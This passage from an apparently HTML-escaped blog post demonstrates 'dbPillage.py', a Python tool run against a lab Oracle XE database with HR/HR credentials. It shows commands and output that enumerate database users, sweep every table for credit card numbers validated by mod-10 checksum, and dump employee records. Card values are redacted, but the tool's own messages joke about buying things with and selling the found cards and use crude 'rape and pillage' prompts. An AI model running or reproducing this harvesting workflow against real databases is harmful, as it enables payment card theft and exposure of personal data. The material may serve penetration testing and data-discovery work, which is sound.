Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="color: #3d85c6; font-size: large;"&gt;&lt;b&gt;Example 1: Cowboy Search All mode&lt;/b&gt;&lt;/span&gt;&lt;span style="color: #3d85c6; font-size: large;"&gt;… &lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-size: large;"&gt; &lt;/span&gt;(grab every DB and Table and search for CC numbers by default, use --s hippa or all for other datasearches )&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;Note: You can try this out with OracleOnVmware, that's what I used&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;root@bt:~/pillage# &lt;/span&gt;&lt;span style="color: #c00000; font-size: small;"&gt;&lt;b&gt;python dbPillage.py -a 192.168.1.12/XE -d oracle -u HR -p HR&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Select a database user to pillage:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;1: SYS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;2: SYSTEM&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;3: OUTLN&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;4: DIP&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;5: TSMSYS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;6: MDSYS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;7: DBSNMP&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;8: FLOWS_020100&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;9: FLOWS_FILES&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;10: ANONYMOUS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;11: CTXSYS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;12: XDB&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;13: XDEV&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;14: HR&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;15: TEST&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;16: XDBA&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Choose the database you want by typing the number next to your DB choice&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Or rip through every database by typing "cowboy" to rape everything:&lt;/span&gt;&lt;span style="color: #c00000; font-size: x-small;"&gt;&lt;b&gt; cowboy&lt;/b&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;  &lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Parsing the the tables out of SYS database&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Searching for CC cards in----Database:SYS| Table:DUAL&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Searching for CC cards in----Database:SYS| Table:AUDIT_ACTIONS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Your current user doesnt have access to this table&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Your current user doesnt have access to this table&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Searching for CC cards in----Database:FLOWS_020100| Table:WWV_FLOW_LISTS_OF_VALUES$&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Found: Mastercard:&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: #990000;"&gt;DeletedOutput&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Found: Discover: &lt;span style="color: #990000;"&gt;DeletedOutput&lt;/span&gt;&lt;span style="color: maroon;"&gt;&lt;b&gt;&lt;deletedoutput&gt;&lt;/deletedoutput&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Searching for CC cards in----Database:FLOWS_020100| Table:WWV_FLOW_LIST_OF_VALUES_DATA&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Found: Mastercard:&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: #990000;"&gt;DeletedOutput&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Found: Mastercard:&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: #990000;"&gt;DeletedOutput&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Found: Visa:&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: #990000;"&gt;DeletedOutput&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Found: Discover:&lt;/span&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: #990000;"&gt;DeletedOutput&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Validating credit cards via mod-10 checksum method....&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Here are all the validated credit cards found, buy me something pretty YAY&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;div style="line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;['&lt;/span&gt;&lt;style type="text/css"&gt;p { margin-bottom: 0.08in; }&lt;/style&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: maroon;"&gt;&lt;b&gt;DeletedOutput&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;']&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;These are all the possible card values found, maybe you can still sell them LOL&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;div style="line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;['&lt;/span&gt;&lt;style type="text/css"&gt;p { margin-bottom: 0.08in; }&lt;/style&gt;&lt;span style="font-size: x-small;"&gt;&lt;span style="color: maroon;"&gt;&lt;b&gt;DeletedOutput&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: x-small;"&gt; &lt;/span&gt;&lt;span style="font-size: x-small;"&gt;']&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Review the following Database:Tables pairs for sensitive data&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;[['FLOWS_020100', 'WWV_FLOW_LISTS_OF_VALUES$'], ['FLOWS_020100', 'WWV_FLOW_LIST_OF_VALUES_DATA']]&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Example Summary:&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;A bunch of output will be displayed I cut most of it out for clarity because its not necessary in this example, but you get the idea, lots of output and info and then a small little summary at the end…  The end summary contains the validated cards, all the cards, and what tables and databases have sensitive data. This was all done with the single command “cowboy” to search every single db that user had access to. I will be adding reporting to future releases of this tool.&lt;/span&gt; &lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="color: #3d85c6; font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Example 2: Data browsing with Result Limits of 2 records&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: small;"&gt;root@bt:~/pillage# python &lt;/span&gt;&lt;span style="color: #c00000; font-size: small;"&gt;&lt;b&gt;dbPillage.py -a 192.168.1.12/XE -d oracle -u HR -p HR --limit 2&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Select a database user to pillage:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;1: SYS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;2: SYSTEM&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;3: OUTLN&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;4: DIP&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;5: TSMSYS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;6: MDSYS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;7: DBSNMP&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;8: FLOWS_020100&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;9: FLOWS_FILES&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;10: ANONYMOUS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;11: CTXSYS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;12: XDB&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;13: XDEV&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;14: HR&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;15: TEST&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;16: XDBA&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Choose the database you want by typing the number next to your DB choice&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Or rip through every database by typing "cowboy" to rape everything:   &lt;/span&gt;&lt;span style="color: #c00000; font-size: x-small;"&gt;&lt;b&gt;14&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;HR&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Select a table to rape and pillage:&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;1: REGIONS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;2: COUNTRIES&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;3: LOCATIONS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;4: DEPARTMENTS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;5: JOBS&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;6: EMPLOYEES&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;7: JOB_HISTORY&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Choose the number next to the table you want to search&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Or you can type "all" to search every table in your chosen database&lt;/span&gt;&lt;span style="color: #c00000; font-size: x-small;"&gt;&lt;b&gt;: 6&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;You chose EMPLOYEES for pillaging&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Would you like to display the data in the table or search for sensitive data??&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;"search" or "display" table contents:&lt;/span&gt;&lt;span style="color: #c00000; font-size: x-small;"&gt;&lt;b&gt;display&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Searching for CC cards in----Database:HR| Table:EMPLOYEES&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;100&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Steven&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;King&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;SKING&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;515.123.4567&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;1987-06-17 00:00:00&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;AD_PRES&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;24000.0&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;None&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;None&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;90&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;101&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Neena&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;Kochhar&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;NKOCHHAR&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;515.123.4568&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: x-small;"&gt;1989-09-21 00:00:00&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif; line-height: 100%; margin-bottom: 0in;"&gt;&lt;span style="font-size: 